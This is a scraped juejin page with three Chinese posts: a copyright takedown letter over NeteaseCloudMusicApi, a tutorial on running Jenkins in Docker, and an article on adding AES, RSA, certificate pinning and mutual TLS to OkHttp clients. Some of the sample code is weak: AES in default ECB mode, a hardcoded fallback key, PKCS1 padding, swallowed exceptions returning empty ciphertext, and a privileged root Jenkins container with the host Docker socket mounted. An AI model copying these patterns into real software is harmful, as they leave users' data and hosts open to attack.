我司收到用户的举报,您开发的 NeteaseCloudMusicApi 或存在涉嫌通过非法破解网易云音乐内容接口的方式获取网易云音乐享有版权的歌曲内容。




贵司未经我司授权,通过技术手段破解绕开限制直接提供网易云音乐享有版权的音乐作品内容,该行为不仅侵犯了我司享有的音乐作品版权,亦非法攫取了网易云音乐的用户流量构成不正当竞争,损害了我司作为权利人的合法权益。




同时贵方通过非法技术手段破解网站获取大量歌曲内容的行为,涉嫌构成侵犯著作权罪,破坏 / 非法入侵计算机信息系统罪及 / 或提供破坏 / 非法入侵计算机信息系统工具罪。




针对上述侵权行为,根据中华人民共和国《著作权法》、《刑法》等相关法律法规规定,我司现郑重致函:




1、立即下线 NeteaseCloudMusicApi 上盗链网易云音乐的方法及内容;




2、在未获得我方授权的前提下,停止一切侵犯我司合法权益的行为。




请贵方充分认识到该行为的违法性和严重性,按照本函要求立即处理侵权行为,并将处理结果及时告知我方。若贵方怠于履行该项义务,为维护自身合法权益,我司将采取包括诉讼、投诉、举报等在内的一切必要的法律措施确保合法权利得到有效保护。



从这个项目的维护历史可以看出,曾经作者对于该项目还是花了不少心血的,包括维护的活跃度以及项目文档这块,都做了不少工作。



而且也有不少开发者来基于该项目进行二开,从而实现开发者自己的不同想法和需求。


然而面对这样一封告知函,项目作者也不得不做出清空仓库并将其进行永久归档的处理,毕竟这类项目确实存在版权方面的问题。


而尊重版权和合规开源也确实是每一位开源作者的基本职责。


其实像这类项目在GitHub上还是有不少的,在之前官方没有明确追责的情况下,其实大家对于一些非盈利性的小众开源项目基本也会睁一只眼闭一只眼,但是官方一旦追责起来,这类项目生存的概率就微乎其微了。


所以这件事也提醒我们,后续大家如果要经营和维护自己的开源项目,也是要多关注和留意一下版权方面的问题,从而避免后续可能会出现的一些不必要的麻烦。


作者:CodeSheep
来源:juejin.cn/post/7343137522069995529
收起阅读 »

用上了Jenkins,个人部署项目真方便!

作者:小傅哥 博客:bugstack.cn 项目:gaga.plus 沉淀、分享、成长,让自己和他人都能有所收获!😄 本文的宗旨在于通过简单干净实践的方式教会读者,如何在 Docker 中部署 Jenkins,并通过 Jenkins 完成对项目的打包构建并...
继续阅读 »

作者:小傅哥
博客:bugstack.cn
项目:gaga.plus



沉淀、分享、成长,让自己和他人都能有所收获!😄



本文的宗旨在于通过简单干净实践的方式教会读者,如何在 Docker 中部署 Jenkins,并通过 Jenkins 完成对项目的打包构建并在 Docker 容器中部署。


Jenkins 的主要作用是帮助你,把需要在本地机器完成的 Maven 构建、Docker 镜像发布、云服务器部署等系列动作全部集成在一个服务下。简化你的构建部署操作过程,因为 Jenkins 也被称为 CI&CD(持续集成&持续部署) 工具。提供超过 1000 个插件(Maven、Git、NodeJs)来支持构建、部署、自动化, 满足任何项目的需要。


官网:



本文涉及的工程:



一、操作说明


本节小傅哥会带着大家完成 Jenkins 环境的安装,以及以最简单的方式配置使用 Jenkins 完成对 xfg-dev-tech-jenkins 案例项目的部署。部署后可以访问 xfg-dev-tech-jenkins 项目提供的接口进行功能验证。整个部署操作流程如下;






  • 左侧竖列为核心配置部署流程,右侧是需要在配置过程中处理的细节。

  • 通过把本地对项目打包部署的过程拆解为一个个模块,配置到 Jenkins 环境中。这就是 Jenkins 的作用。


二、环境配置



  1. 确保你已经在(云)服务器上配置了 Docker 环境,以及安装了 docker-compose。同时最好已经安装了 Portainer 管理界面这样更加方便操作。

  2. 在配置和后续的验证过程中,会需要访问(云)服务的地址加端口。如果你在云服务配置的,记得开放端口;9000 - portainer9090 - jenkins8091 - xfg-dev-tech-app 服务


1. Jenkins 部署


1.1 上传文件






  • 如图;以上配置内容已经放到 xfg-dev-tech-jenkins 工程中,如果你是云服务器部署则需要将 dev-ops 部分全部上传到服务器的根目录下。

  • compose-down.sh 是 docker-compose 下载文件,只有你安装了 docker-compose 才能执行 docker-compose -f docker-compose-v1.0.yml up -d

  • jdk-down.sh 是 jdk1.8 下载路径,以及解压脚本。如果你在云服务器下载较慢,也可以本地搜索 jdk1.8 下载,并上传到云服务器上解压。注意:本步骤是可选的,如果你的项目不强依赖于 jdk1.8 也可以使用 Jenkins 默认自带的 JDK17。可以通过在安装后的 Jenkins 控制台执行 which java 找到 JDK 路径。

  • maven 下的 settings.xml 配置,默认配置了阿里云镜像文件,方便在 Jenkins 构建项目时,可以快速地拉取下载下来包。


1.2 脚本说明


version: '3.8'
# 执行脚本;docker-compose -f docker-compose-v1.0.yml up -d
services:
jenkins:
image: jenkins/jenkins:2.439
container_name: jenkins
privileged: true
user: root
ports:
- "9090:8080"
- "50001:50000"
volumes:
- ./jenkins_home:/var/jenkins_home # 如果不配置到云服务器路径下,则可以配置 jenkins_home 会创建一个数据卷使用
- /var/run/docker.sock:/var/run/docker.sock
- /usr/bin/docker:/usr/local/bin/docker
- ./maven/conf/settings.xml:/usr/local/maven/conf/settings.xml # 这里只提供了 maven 的 settings.xml 主要用于修改 maven 的镜像地址
- ./jdk/jdk1.8.0_202:/usr/local/jdk1.8.0_202 # 提供了 jdk1.8,如果你需要其他版本也可以配置使用。
environment:
- JAVA_OPTS=-Djenkins.install.runSetupWizard=false # 禁止安装向导「如果需要密码则不要配置」docker exec jenkins cat /var/jenkins_home/secrets/initialAdminPassword
restart: unless-stopped

volumes:
jenkins_home:

Jenkins Docker 执行安装脚本。



  • ./jenkins_home:/var/jenkins_home 是在云服务器端挂一个映射路径,方便可以重新安装后 Jenkins 依然存在。你也可以配置为 jenkins_home:/var/jenkins_home 这样是自动挂在 volumes jenkins_home 数据卷下。

  • docker 两个 docker 的配置是为了可以在 Jenkins 中使用 Docker 命令,这样才能在 Docker 安装的 Jenkins 容器内,使用 Docker 服务。

  • ./maven/conf/settings.xml:/usr/local/maven/conf/settings.xml 为了在 Jenkins 中使用映射的 Maven 配置。

  • ./jdk/jdk1.8.0_202:/usr/local/jdk1.8.0_202 用于在 Jenkins 中使用 jdk1.8

  • JAVA_OPTS=-Djenkins.install.runSetupWizard=false 这个是一个禁止安装向导,配置为 false 后,则 Jenkins 不会让你设置密码,也不会一开始就安装一堆插件。如果你需要安装向导可以注释掉这个配置。并且当提示你获取密码时,你可以执行;docker exec jenkins cat /var/jenkins_home/secrets/initialAdminPassword 获取到登录密码。


1.3 执行安装





[root@lavm-aqhgp9nber dev-ops]# docker-compose -f docker-compose-v1.0.yml up -d
[+] Building 0.0s (0/0)
[+] Running 1/0
✔ Container jenkins Running

执行脚本 docker-compose -f docker-compose-v1.0.yml up -d 后,这样执行完毕后,则表明已经安装成功了💐。


2. 插件安装


地址:http://localhost:9090/ - 登录Jenkins









  • 1~2步,设置镜像源,设置后重启一下 Jenkins。

  • 3~4步,下载插件,先下载安装 chinese 汉化插件,方便不太熟悉 Jenkins 的伙伴更好的知道页面都是啥内容。

  • 5步,所有的插件安装完成后,都需要重启才会生效。安装完 chinese 插件,重启在进入到 Jenkins 就是汉化的页面了

  • 除了以上步骤,你还需要同样的方式安装 maven、git、docker 插件。

  • 注意,因为网络问题你可以再做过程中,提示失败。没关系,你可以再搜这个插件,再重新下载。它会把失败的继续下载。


3. 全局工具配置


地址:http://localhost:9090/manage/configureTools/





用于构建部署的 SpringBoot 应用的环境,都需要在全局工具中配置好。包括;Maven、JDK、Git、Docker。注意这里的环境路径配置,如果配置了是会提示你没有对应的路径文件夹。


4. 添加凭证


地址:http://localhost:9090/manage/credentials/store/system/domain/_/






  • 配置了Git仓库的连接凭证,才能从Git仓库拉取代码。

  • 如果你还需要操作如 ssh 也需要配置凭证。


三、新建任务


一个任务就是一条构建发布部署项目的操作。


1. 配置任务





xfg-dev-tech-jenkins

2. 配置Git





# 你可以 fork 这个项目,到自己的仓库进行使用
https://gitcode.net/KnowledgePlanet/ddd-scene-solution/xfg-dev-tech-content-moderation.git

3. 配置Maven






  • 在高级中设置 Maven 配置的路径 /usr/local/maven/conf/settings.xml。这样才能走自己配置的阿里云镜像仓库。


clean install -Dmaven.test.skip=true

3. 配置Shell


# 先删除之前的容器和镜像文件
if [ "$(docker ps -a | grep xfg-dev-tech-app)" ]; then
docker stop xfg-dev-tech-app
docker rm xfg-dev-tech-app
fi
if [ "$(docker images -q xfg-dev-tech-app)" ]; then
docker rmi xfg-dev-tech-app
fi

#
重新生成
cd /var/jenkins_home/workspace/xfg-dev-tech-jenkins/xfg-dev-tech-app
docker build -t xiaofuge/xfg-dev-tech-app .
docker run -itd -p 8091:8091 --name xfg-dev-tech-app xiaofuge/xfg-dev-tech-app





  • 当你熟悉后还可以活学活用,比如这里只是做build 但不做run执行操作。具体的部署可以通过 docker compose 执行部署脚本。

  • 另外如果你有发布镜像的诉求,也可以在这里操作。


四、测试验证


1. 工程准备


工程https://gitcode.net/KnowledgePlanet/road-map/xfg-dev-tech-jenkins 你可以fork到自己的仓库进行使用,你的账号密码就是 CSDN 的账号密码。


@SpringBootApplication
@RestController()
@RequestMapping("/api/")
public class Application {

public static void main(String[] args) {
SpringApplication.run(Application.class);
}

/**
* http://localhost:8091/api/test
*/

@RequestMapping(value = "/test", method = RequestMethod.GET)
public ResponseBodyEmitter test(HttpServletResponse response) {
response.setContentType("text/event-stream");
response.setCharacterEncoding("UTF-8");
response.setHeader("Cache-Control", "no-cache");

ResponseBodyEmitter emitter = new ResponseBodyEmitter();

String[] words = new String[]{"嗨,臭宝。\r\n", "恭喜💐 ", "你的", " Jenkins ", " 部", "署", "测", "试", "成", "功", "了啦🌶!"};
new Thread(() -> {
for (String word : words) {
try {
emitter.send(word);
Thread.sleep(250);
} catch (IOException | InterruptedException e) {
throw new RuntimeException(e);
}
}
}).start();

return emitter;
}

}


2. CI&CD - 构建发布


地址http://localhost:9090/job/xfg-dev-tech-jenkins/






  • 点击构建项目,最终会完成构建和部署成功。运行到这代表你全部操作完成了。


3. 验证结果


地址http://localhost:9000/#!/2/docker/containers





访问http://localhost:8091/api/test






  • 运行到这代表着你已经完整的走完了 Jenkins CI&CD 流程。


作者:小傅哥
来源:juejin.cn/post/7329573732597710874
收起阅读 »

https 协议是安全传输,为啥还要再加密?

背景这几天,我们家娃吃奶粉的量嗷嗷的涨起来了。我这颗小鹿乱撞的心,忍不住去面了两家互联网金融公司。因为没有准备,结果你懂的~这两家共同都有一个共同点,特别关系安全问题,尤其是看到你用过 okhttp3,那不得给你撸脱毛了就不算完事儿。协议HTTP vs HTT...
继续阅读 »

背景

这几天,我们家娃吃奶粉的量嗷嗷的涨起来了。我这颗小鹿乱撞的心,忍不住去面了两家互联网金融公司。
因为没有准备,结果你懂的~
这两家共同都有一个共同点,特别关系安全问题,尤其是看到你用过 okhttp3,那不得给你撸脱毛了就不算完事儿。

协议

HTTP vs HTTPS

我们都知道,https 相比于之前的 http 多了一层, 如下:

image.png
HTTP是一个基于TCP/IP通信协议来传递数据的协议,TCP/IP通信协议只有四层,从上往下依次为:应用层、传输层、网络层、数据链路层这四层,大学课本上的计算机网络知识是不是来了。但是,HTTP 协议在在网上进行传输用的是明文,就像某鸟给你发的快递,你的手机号、姓名都是写的清清楚楚,用户看着都瑟瑟发抖。
后来京东和顺丰意识到了这一点,就对手机号中间四位做了加密处理,姓名中间那几个个字也看不到了,甚至快递小哥给你打电话都是虚拟号码,你自己的电话只有自己心里清楚。
HTTPS 也是这个路子,为了解决 HTTP 明文传输存在的安全问题,在应用层和传输层之间加了一层安全层:SSL/TLS。
SSL: Secure Socket Layer, 安全套接层
TLS: Transport Layer Security,传输层安全协议
关于 HTTP 和 HTTPS 的对比文章,知乎上有一大坨,这里贴几篇,喜欢的可以多撸几遍:

HTTPS优缺点

  1. 使用 HTTP 明文传输存在被窃听风险,HTTPS 通过内容加密解决,注意这一步用的是对称加密哦
  2. 使用 HTTP 明文传输存在通信内容被篡改风险,HTTPS 通过校验机制解决
  3. 使用 HTTP 明文传输存在冒充服务风险,HTTPS 通过身-份-证书认证机制解决

通过以上三点,我们知道HTTPS 相对于 HTTP 有很强的安全感,但是对于一些app 这种安全级别还不够,如果出现以下意外咋整?

我干脆去问了讯飞星火,他是这么回答我的:

讯飞星火

我又去问了 ChatGPT,他的回答是这样的

ChatGPT

这俩货说的差不多,HTTPS 只能保证传输过程的安全性,不能保证全链路的安全性,更不能满足特定安全标准的规范诉求,所以我们需要根据安全的级别要求,采取不同加密策略。

既然如此,我们使用的三方网络库这里特指 okhttp 是怎么全链路传输安全的?我们接着往下唠:

OKhttp 库

Okhttp 库是基于HTTP和HTTPS协议封装的网络请求库,用于 Android 和 Java 应用中的网络通信。库在这儿:github.com/square/okht… ,

我们可以先了解一下okhttp 库是如何保证传输安全的~

问:OKhttp是如何支持https协议,以保证传输安全的,尤其是如何进行防止侦听、篡改、拦截信息?

AI 回答:
OkHttp是一个流行的开源HTTP客户端库,由Square公司开发。它提供了对HTTP和HTTPS的支持,并通过内置的TLS(Transport Layer Security)来确保HTTPS连接的安全性。以下是OkHttp如何支持HTTPS协议以及保障传输安全的一些关键方面:

  1. TLS/SSL支持:

    • OkHttp使用Java的javax.net.ssl包来支持TLS/SSL协议。TLS是HTTP的安全版本,用于加密通信内容,防止中间人攻击、窃听和篡改。
    • OkHttp通过SSLSocketFactoryHostnameVerifier等类来处理TLS/SSL握手和验证服务器证书的过程。
  2. 证书验证:

    • OkHttp会验证服务器提供的SSL证书,确保通信双方的身份合法。如果服务器的证书无效或无法验证,OkHttp会拒绝连接,从而防止中间人攻击。
  3. 证书锁定(Certificate Pinning):

    • OkHttp支持证书锁定机制,即在应用中预先指定服务端的证书信息。这样可以防止使用伪造证书的攻击,即使系统受到信任的根证书被破坏,应用仍然可以保持安全。
  4. 连接池和持久连接:

    • OkHttp通过连接池(Connection Pool)来重用已建立的连接,从而减少握手次数,提高性能。持久连接也有助于减少建立连接时的潜在风险。
  5. 安全配置:

    • OkHttp允许开发者配置TLS版本、密码套件(Cipher Suites)等参数,以满足特定的安全要求。
  6. 拦截器(Interceptors):

    • OkHttp提供了拦截器机制,可以在HTTP请求和响应的过程中插入自定义的逻辑。这使得开发者可以在请求或响应阶段添加额外的安全检查或处理逻辑,从而增强安全性。

总的来说,OkHttp通过支持TLS/SSL、证书验证、证书锁定、连接池等安全机制,以及提供灵活的配置和拦截器功能,确保在HTTPS连接中防止侦听、篡改和拦截信息的风险。开发者在使用OkHttp时,应该合理配置相关参数,以满足应用的安全需求。

好家伙,okhttp 是支持合理配置安全参数的,而且其拦截器机制可以很方便的进行安全检查,那还等什么,走一波~

策略一:对称加密(加密内容)

这里主打一个,客户端不想让别人看到自己的传输内容,想当然对自己的请求内容进行加密处理。基于这种思路我们封装一个 EncryptedOkHttpClient,代码如下:

public static OkHttpClient createEncryptedOkHttpClient() {
// 创建一个OkHttpClient.Builder
OkHttpClient.Builder builder = new OkHttpClient.Builder();

// 添加自定义拦截器,用于加密请求内容
builder.addInterceptor(new EncryptionInterceptor());

// 创建OkHttpClient实例
return builder.build();
}

注释里已经写了,通过EncryptionInterceptor拦截器对请求进行加密处理,这里选择加密请求体 RequestBody image.png 在encryptRequestBody方法中,RequestBody 依赖 okio 的 Buffer 类转换为ByteArray用于加密,加密算法选择对称加密算法 AES 加密字节数据,实现如下:

private RequestBody encryptRequestBody(RequestBody originalRequestBody) throws IOException {
// 从原始RequestBody中读取字节数据
// Read the byte data from the original RequestBody using Okio
Buffer buffer = new Buffer();
originalRequestBody.writeTo(buffer);
byte[] bytes = buffer.readByteArray();

// 使用对称加密算法(AES)加密字节数据
byte[] encryptedBytes = encryptWithAES(bytes, SECRET_KEY);

// 创建新的RequestBody
return RequestBody.create(originalRequestBody.contentType(), encryptedBytes);
}

可以看到,AES 使用了encryptWithAES方法加密字节数据,同时传了SECRET_KEY这个密钥,那我们看看 AES 是怎么加密的:

private byte[] encryptWithAES(byte[] input, String key) {
try {
SecretKey secretKey = new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), AES_ALGORITHM);
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
return cipher.doFinal(input);
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}

四行代码搞定,首先通过SecretKeySpec类将SECRET_KEY字符串加密成 SecretKey 对象,然后Cipher以加密模式 对密钥进行初始化然后加密 input 也就是转换为字节数组的请求体。 加密完成了,服务器当然要进行解密,解密方法如下:

public static String decrypt(String encryptedText) {
try {
byte[] encryptedData = Base64.decode(encryptedText,Base64.DEFAULT);

SecretKey secretKey = new SecretKeySpec(SECRET_KEY.getBytes(StandardCharsets.UTF_8), AES_ALGORITHM);
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, secretKey);

byte[] decryptedBytes = cipher.doFinal(encryptedData);

return new String(decryptedBytes, StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

可以看到,解密过程使用了相同AES算法和密钥SECRET_KEY,这就是对称加密使用一把钥匙上锁和开锁。但是这种加密算法有很大的问题:

首先,这把钥匙如果想通过网络传输让服务端知道,传输过程中被劫持了密钥就会暴露。

另外,SECRET_KEY是硬编码在代码中的,这也不安全,这可咋整啊?

千里之堤,溃于hacker

为了防止这种中间人攻击的问题,非对称加密开始表演了~

策略二:非对称加密

非对称加密是一把锁两把钥匙:公钥和私钥。前者是给大家伙用的,谁都能够来配一把公钥进行数据加密,但是要对加密数据进行解密,只能使用私钥。

假设我们用公钥加密一份数据,就不怕拦截了。因为只有拿着私钥的服务端才能解密数据,我们拿着服务器提供的公钥把策略一中的对称密钥给加密了,那不就解决了网络传输密钥的问题了。对的,HTTPS 也是这么做的,按照这个思路我们再添加一个 MixtureEncryptionInterceptor 拦截器。

// 添加自定义拦截器,用服务器非对称加密的公钥加密对称加密的密钥,然后用对称加密密钥加密请求内容
builder.addInterceptor(new MixtureEncryptionInterceptor());

MixtureEncryptionInterceptor 拦截器同样实现 Interceptor 接口如下:

image.png

其 intercept 方法跟 EncryptionInterceptor 一模一样,具体的变化在 encryptRequestBody() 方法中。具体实现如下:

private RequestBody encryptRequestBody(RequestBody originalRequestBody) throws IOException {
// 生成对称加密的密钥
byte[] secretKeyBytes = generateSecretKey();
SecretKeySpec secretKeySpec = new SecretKeySpec(secretKeyBytes, "AES");
// 使用服务器的公钥加密对称加密的密钥
byte[] encryptedSecretKey = encryptWithPublicKey(secretKeyBytes, SERVER_PUBLIC_KEY);
// 从原始 RequestBody 中读取字节数据
Buffer buffer = new Buffer();
originalRequestBody.writeTo(buffer);
byte[] bytes = buffer.readByteArray();

// 使用对称加密算法(AES)加密请求体
byte[] encryptedRequestBodyBytes = encryptWithAES(bytes, secretKeySpec);

// 创建新的 RequestBody,将加密后的密钥和请求体一并传输
return RequestBody.create(null, concatenateArrays(encryptedSecretKey, encryptedRequestBodyBytes));
}

如代码中注释,整个混合加密共 4 个步骤,依次是:

  1. 生成对称加密的密钥,用来加密传输内容。代码如下:
/**
* try block 里使用的是加密算法和随机数生成器,生成的较为复杂的密钥
* catch block 里使用的是示范性的非安全密钥
* @return
*/

private byte[] generateSecretKey() {
// 生成对称加密的密钥
try {
// 创建KeyGenerator对象,指定使用AES算法
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");

// 初始化KeyGenerator对象,设置密钥长度为128位
keyGenerator.init(128, new SecureRandom());

// 生成密钥
SecretKey secretKey = keyGenerator.generateKey();

// 获取密钥的字节数组表示形式
byte[] keyBytes = secretKey.getEncoded();

// 打印密钥的字节数组表示形式
for (byte b : keyBytes) {
Log.d(TAG,b + " ");
}
return keyBytes;
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
// 这里简单地示范了生成密钥的过程,实际上可以使用更复杂的方法来生成密钥
return "YourSecretKey".getBytes(StandardCharsets.UTF_8);
}

}

如注释所言,上面try block 里使用的是加密算法和随机数生成器,生成的较为复杂的密钥,catch block 里使用的是示范性的非安全密钥。这里主要是想说明生成对称密钥的方式有很多,但是硬编码生成密钥那是不推荐的,因为太不安全了,很容易被恶意用户获取到。

  1. 使用服务器的公钥加密对称加密的密钥,防止被破解
private byte[] encryptWithPublicKey(byte[] input, String publicKeyString) {
try {
// 封装 PublicKey
byte[] keyBytes = Base64.decode(publicKeyString, Base64.DEFAULT);
X509EncodedKeySpec keySpec = new X509EncodedKeySpec(keyBytes);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PublicKey publicKey = keyFactory.generatePublic(keySpec);

Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);

return cipher.doFinal(input);
} catch (NoSuchAlgorithmException | InvalidKeySpecException | NoSuchPaddingException |
InvalidKeyException | BadPaddingException | IllegalBlockSizeException e) {
e.printStackTrace();
return new byte[0];
}
}

将服务端提供的公钥字符串转化成字节数组,然后通过 RSA 非对称算法加密 input,也就是我们的对称密钥。

注意:Cipher.getInstance("RSA/ECB/PKCS1Padding") 表示获取一个Cipher对象,该对象使用RSA算法、ECB模式和PKCS1填充方式。

  1. 使用对称加密算法(AES)加密请求体,请求体仍然要用对称加密密钥加密,只是对称加密密钥用公钥保护起来
private byte[] encryptWithAES(byte[] input, SecretKeySpec secretKeySpec) {
try {
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
return cipher.doFinal(input);
} catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException |
BadPaddingException | IllegalBlockSizeException e) {
e.printStackTrace();
return new byte[0];
}

}

非对称加密加密内容,策略一已经实现了。

  1. 创建新的 RequestBody,将加密后的密钥和请求体一并传输,这样就算 hacker 拦截了请求解析出请求体的数据,也无法直接获取到原始对称密钥。 加密完成后,通过 concatenateArrays 方法将加密后的密钥和请求体,实现如下:
private byte[] concatenateArrays(byte[] a, byte[] b) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
outputStream.write(a);
outputStream.write(b);
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return outputStream.toByteArray();
}

非对称加密解决了密钥网络传输的问题,但是 hacker 还是可以伪装成目标服务端,骗取客户端的密钥。在伪装成客户端,用服务端的公钥加密自己篡改的内容,目标服务端对此无法辨别真伪。这就需要证书校验。

策略三:证书校验(单向认证)

okhttp3 提供了CertificatePinner这个类用于证书校验,CertificatePinner 可以验证服务器返回的证书是否是预期的证书。在创建createEncryptedOkHttpClient()方法中,添加证书代码如下:

image.png

okhttp 会利用其内置的证书固定机制来校验服务器返回证书的有效性。如果证书匹配,请求会继续进行;如果不匹配,OkHttp会抛出一个异常,通常是一个SSLPeerUnverifiedException,表明证书验证失败。验证过程在CertificatePinner 类的check()方法中,如下:

/**
* Confirms that at least one of the certificates pinned for {@code hostname} is in {@code
* peerCertificates}. Does nothing if there are no certificates pinned for {@code hostname}.
* OkHttp calls this after a successful TLS handshake, but before the connection is used.
*
* @throws SSLPeerUnverifiedException if {@code peerCertificates} don't match the certificates
* pinned for {@code hostname}.
*/

public void check(String hostname, List peerCertificates)
throws SSLPeerUnverifiedException {
List pins = findMatchingPins(hostname);
if (pins.isEmpty()) return;

if (certificateChainCleaner != null) {
peerCertificates = certificateChainCleaner.clean(peerCertificates, hostname);
}

for (int c = 0, certsSize = peerCertificates.size(); c < certsSize; c++) {
X509Certificate x509Certificate = (X509Certificate) peerCertificates.get(c);

// Lazily compute the hashes for each certificate.
ByteString sha1 = null;
ByteString sha256 = null;

for (int p = 0, pinsSize = pins.size(); p < pinsSize; p++) {
Pin pin = pins.get(p);
if (pin.hashAlgorithm.equals("sha256/")) {
if (sha256 == null) sha256 = sha256(x509Certificate);
if (pin.hash.equals(sha256)) return; // Success!
} else if (pin.hashAlgorithm.equals("sha1/")) {
if (sha1 == null) sha1 = sha1(x509Certificate);
if (pin.hash.equals(sha1)) return; // Success!
} else {
throw new AssertionError();
}
}
}

// If we couldn't find a matching pin, format a nice exception.
StringBuilder message = new StringBuilder()
.append("Certificate pinning failure!")
.append("\n Peer certificate chain:");
for (int c = 0, certsSize = peerCertificates.size(); c < certsSize; c++) {
X509Certificate x509Certificate = (X509Certificate) peerCertificates.get(c);
message.append("\n ").append(pin(x509Certificate))
.append(": ").append(x509Certificate.getSubjectDN().getName());
}
message.append("\n Pinned certificates for ").append(hostname).append(":");
for (int p = 0, pinsSize = pins.size(); p < pinsSize; p++) {
Pin pin = pins.get(p);
message.append("\n ").append(pin);
}
throw new SSLPeerUnverifiedException(message.toString());
}

从校验方法中得知,

  1. 可以没有固定证书
  2. 证书加密使用sha256/sha1
  3. 证书校验失败会抛出AssertionError错误
  4. 获取不到匹配的固定证书,会抛异常SSLPeerUnverifiedException

可以看到,使用相当方便。但是它有一个问题:请求之前需要预先知道服务端证书的 hash 值。就是说如果证书到期需要更换,老版本的应用就无法获取到更新的证书 hash 值了,老用户要统一升级。这~~~

策略四:创建SSLContext认证(客户端、服务端双向认证)

除了固定证书校验,还有一种基于 SSLContext 的校验方式。在建立HTTPS连接时,在客户端它依赖 SSLContext 和 TrustManager 来验证服务端证书。这里我们通过一createTwoWayAuthClient()方法实现如下:

private static OkHttpClient createTwoWayAuthClient() throws IOException, CertificateException, KeyStoreException, NoSuchAlgorithmException, UnrecoverableKeyException, KeyManagementException {
// 服务器证书
InputStream serverCertStream = TwoWayAuthHttpClient.class.getResourceAsStream("/server_certificate.crt");
X509Certificate serverCertificate = readCertificate(serverCertStream);
if (serverCertStream != null) {
serverCertStream.close();
}

// 客户端证书和私钥
InputStream clientCertStream = TwoWayAuthHttpClient.class.getResourceAsStream("/client_centificate.p12");
KeyStore clientKeyStore = KeyStore.getInstance("PKCS12");
clientKeyStore.load(clientCertStream, "client_password".toCharArray());
if (clientCertStream != null) {
clientCertStream.close();
}

// 创建 KeyManagerFactory 和 TrustManagerFactory
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
keyManagerFactory.init(clientKeyStore, "client_password".toCharArray());

// 创建信任管理器,信任服务器证书
TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType());
trustStore.load(null, null);
trustStore.setCertificateEntry("server", serverCertificate);
trustManagerFactory.init(trustStore);

// 初始化 SSL 上下文
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(keyManagerFactory.getKeyManagers(), trustManagerFactory.getTrustManagers(), new SecureRandom());

// 创建 OkHttpClient
return new OkHttpClient.Builder()
.sslSocketFactory(sslContext.getSocketFactory(), (X509TrustManager) trustManagerFactory.getTrustManagers()[0])
.build();
}

private static X509Certificate readCertificate(InputStream inputStream) throws CertificateException {
CertificateFactory certificateFactory = CertificateFactory.getInstance("X.509");
return (X509Certificate) certificateFactory.generateCertificate(inputStream);
}
  1. 加载服务器证书

    • 使用getResourceAsStream从类路径中加载服务器证书文件(.crt格式)。
    • 通过readCertificate方法读取证书内容,并生成一个X509Certificate对象。
    • 关闭输入流以释放资源。

注意:/server_certificate.crt可以动态加载服务器自签名证书的办法避免更新旧版本应用

  1. 加载客户端证书和私钥

    • 同样使用getResourceAsStream从类路径中加载客户端证书和私钥文件(.p12格式,通常是PKCS#12格式的密钥库)。
    • 创建一个KeyStore实例,并使用PKCS12算法加载客户端证书和私钥。密码为"client_password"
    • 关闭输入流。
  2. 创建KeyManagerFactory和TrustManagerFactory

    • KeyManagerFactory用于管理客户端的私钥和证书,以便在建立SSL/TLS连接时使用。
    • TrustManagerFactory用于管理信任的证书,以便在建立SSL/TLS连接时验证服务器的证书。
    • 使用默认算法初始化这两个工厂,并分别加载客户端的密钥库和信任的服务器证书。
  3. 初始化SSLContext

    • 创建一个SSLContext实例,指定使用TLS协议。
    • 使用之前创建的KeyManagerFactoryTrustManagerFactory初始化SSLContext。这会将客户端的私钥和证书,以及信任的服务器证书整合到SSL/TLS握手过程中。
  4. 创建OkHttpClient

    • 使用OkHttpClient.Builder创建一个新的OkHttpClient实例。
    • 配置SSL套接字工厂和信任管理器,以确保在建立连接时使用两向认证。
    • 构建并返回配置好的OkHttpClient实例。

这样客户端发起请求时,会将客户端证书发送给服务端,同时会校验服务端握手时返回的证书。校验逻辑如下:

image.png

这样整个双向校验工作就完成了。

封装

腾讯云有个同学封装了库,主要给服务端使用的,看的挺有味道,可以参考 cloud.tencent.com/developer/a…

总结

okhttp 作为一个支持 HTTPS 协议的网络库,同时支持对称加密非对称加密客户端证书校验客户端、服务端双向证书校验等安全加密方式,足见其强大的功能。

此外,为了兼顾性能:它使用证书校验保证通信双方的合法性,使用对称加密加密传输内容保证性能,使用非对称加密加密对称密钥防止hacker 拦截,整体提高了网络通信的安全性。

FAQ

文章被郭霖老师转发后,同学们也提出了一些疑问:
Q: HTTPS为啥不能保证全链路安全?

  1. 端点安全性: 如果你的手机、电脑、服务器中毒了,不管输入啥私密信息,都会被病毒软件截胡,https 管不了这事儿。需要杀毒软件大显身手了,给腾讯手机管家做个广告~
  2. 中间人攻击: hacker 通过非法方式获得 CA 证书,满足了 https 的安全策略,可以与客户端通信。okhttp 可以通过证书锁定(Certificate Pinning)的方式,只跟特定的服务器通讯,自签名证书不通过,就算 hacker 黑了 CA 机构你也不怕
  3. 协议漏洞:okhttp 团队也会定期更新修复漏洞,所以版本该升级升级

Q: SSLContext如何动态更新证书

其实这个问题的关键还是不理解 your_certificate.crt 下载过程中被攻击了咋办。首先,第一版应用的证书秘密存储。其次,后期更新的过程中,下载链路是安全的,自动替换最新的证书并通过安全校验就 OL

Q:PKCS1 有安全问题,建议使用 OAEP

import javax.crypto.Cipher;
import java.security.KeyFactory;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.spec.PKCS8EncodedKeySpec;
